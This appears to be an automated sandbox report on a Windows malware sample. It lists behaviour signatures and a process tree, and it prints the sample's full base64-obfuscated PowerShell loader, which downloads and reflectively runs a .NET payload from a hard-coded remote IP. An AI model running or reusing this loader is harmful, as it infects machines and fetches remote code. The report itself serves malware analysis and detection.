Analysis
- max time kernel
148s - max time network
16s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
22/06/2026, 16:00
General
- Target file_d6532cf8de02f986.exe
- Size 1.5MB
- Sample260622-tfstcsd17j
- SHA256 7f80b94a0161f315d2eaa7bd08f3d3fb6bb06afa740b1ae43cd90c0fd55fb23a
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file_d6532cf8de02f986.exe"C:\Users\Admin\AppData\Local\Temp\file_d6532cf8de02f986.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe //B "C:\Users\Admin\AppData\Local\268343.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ondoiw ='WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAZgB1AG4AYwB0AGkAbwBuACAAZABsAHsAcABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGEAMQApAGYAbwByAGUAYQBjAGgAKAAkAGEAMgAgAGkAbgAgACQAYQAxACkAewB0AHIAeQB7ACQAYQAzAD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAkAGEAMgApADsAJABhADQAPQAkAGEAMwAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkAOwAkAGEANQA9ACQAYQA0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQAYQA2AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABhADUALgBDAG8AcAB5AFQAbwAoACQAYQA2ACkAOwAkAGEANAAuAEMAbABvAHMAZQAoACkAOwAkAGEANwA9ACQAYQA2AC4AVABvAEEAcgByAGEAeQAoACkAOwAkAGEAOAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGEANwApADsAaQBmACgAJABhADgALgBJAG4AZABlAHgATwBmACgAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAKQAtAGcAZQAwACAALQBhAG4AZAAgACQAYQA4AC4ASQBuAGQAZQB4AE8AZgAoACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAKQAtAGcAdAAwACkAewByAGUAdAB1AHIAbgAgACQAYQA3AH0AfQBjAGEAdABjAGgAewBjAG8AbgB0AGkAbgB1AGUAfQB9AHIAZQB0AHUAcgBuACAAJABuAHUAbABsAH0ADQAKACQAYQA5AD0AJwBoAHQAdABwACcAOwAkAGEAMQAwAD0AJwA6AC8ALwAnADsAJABhADEAMQA9ACQAYQA5ACsAJABhADEAMAA7ACQAYQAxADIAPQAnADYAMgAuADYAMAAuADIAMgA2AC4AMgA0ADMAJwA7ACQAYQAxADMAPQAnAC8AcAB1AGIAbABpAGMAXwBmAGkAbABlAHMALwAnADsAJABhADEANAA9ACcAMQA2AHMAYQBzAC4AagBwAGcAJwA7ACQAYQAxADUAPQAnAD8AMQAyADcAMQAxADMAMQAzACcAOwAkAGEAMQA2AD0AJABhADkAKwAkAGEAMQAwACsAJABhADEAMgAd@ACQAYQAxADMAKwAkAGEAMQA0ACsAJABhADEANQA7ACQAYQAxADcAPQBAACgAJABhADEANgApADsAJABhADEAOAA9AGQAbAAgACQAYQAxADcAOwBpAGYAKAAkAGEAMQA4ACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAYQAxADkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhADEAOAApADsAJABhADIAMAA9ACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABhADIAMQA9ACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAGEAMgAyAD0AJABhADEAOQAuAEkAbgBkAGUAeABPAGYAKAAkAGEAMgAwACkAOwAkAGEAMgAzAD0AJABhADEAOQAuAEkAbgBkAGUAeABPAGYAKAAkAGEAMgAxACkAOwBpAGYAKAAkAGEAMgAyACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYQAyADMAIAAtAGcAdAAgACQAYQAyADIAKQB7ACQAYQAyADIAKwA9ACQAYQAyADAALgBMAGUAbgBnAHQAaAA7ACQAYQAyADQAPQAkAGEAMgAzAC0AJABhADIAMgA7ACQAYQAyADUAPQAkAGEAMQA5AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGEAMgAyACwAJABhADIANAApADsAJABhADIANgA9AFsAQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEcAZQB0AEEAcwBzAGUAbQBiAGwAaQBlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AbQBhAHQAYwBoACAAJwBtAHMAYwBvAHIAbABpAGIAJwB9ADsAJABhADIANwA9ACQAYQAyADYALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAJwApADsAJABhADIAOAA9ACQAYQAyADcALgBHAGUAdABNAGUAdABoAG8AZAAoACcARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAnACkAOwAkAGEAMgA5AD0AJABhADIAOAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAYQAyADUAKQApADsAJABhADMAMAA9AFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGEAMgA5ACkAOwAkAGEAMwAxAD0AJABhADMAMAAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAGoAZABxAGsAdwBqAGQAcwAnACkAOwAkAG0AZQB0AGgATgBhAG0AZQAgAD0AIAAnAGwAZgBzACcAKwAnAGcAZQBkACcAKwAnAGQAZABkAGQAZABkACcAKwAnAGEAJwA7ACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAGEAMwAxAC4ARwBlAHQATQBlAHQAaABvAGQAKAAkAG0AZQB0AGgATgBhAG0AZQApAC4ASQBuAHYAbwBd@AGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgB0AEYAegBKAHMASwBSAC8AcwBlAGwAaQBmAF8AYwBpAGwAYgB1AHAALwAzADQAMgAuADYAMgAyAC4AMAA2AC4AMgA2AC8ALwA6ACcALAAgACcAMAAnACwAIAAnAEsAbwBXAHoAaQAxAHgAdwB5ACcALAAgACcAMAAnACkAKQB9AH0A';$asfjdwWDS = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ondoiw.replace('d@','r') ));& ([scriptblock]::Create($asfjdwWDS))3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
268343.vbs
memory/5084-2-0x00007FFBD7A4F000-0x00007FFBD7A50000-memory.dmp
memory/5084-5-0x0000021085AB0000-0x0000021085AD2000-memory.dmp
memory/5084-6-0x00007FFBD78C0000-0x00007FFBD8264000-memory.dmp
memory/5084-7-0x00007FFBD78C0000-0x00007FFBD8264000-memory.dmp
memory/5084-8-0x00007FFBD78C0000-0x00007FFBD8264000-memory.dmp
memory/5084-9-0x00007FFBD78C0000-0x00007FFBD8264000-memory.dmp
memory/5084-10-0x00007FFBD78C0000-0x00007FFBD8264000-memory.dmp
memory/5084-11-0x00007FFBD78C0000-0x00007FFBD8264000-memory.dmp
memory/5084-12-0x00007FFBD78C0000-0x00007FFBD8264000-memory.dmp
memory/5084-13-0x00007FFBD78C0000-0x00007FFBD8264000-memory.dmp
memory/5084-14-0x00007FFBD78C0000-0x00007FFBD8264000-memory.dmp
memory/5084-16-0x00007FFBD78C0000-0x00007FFBD8264000-memory.dmp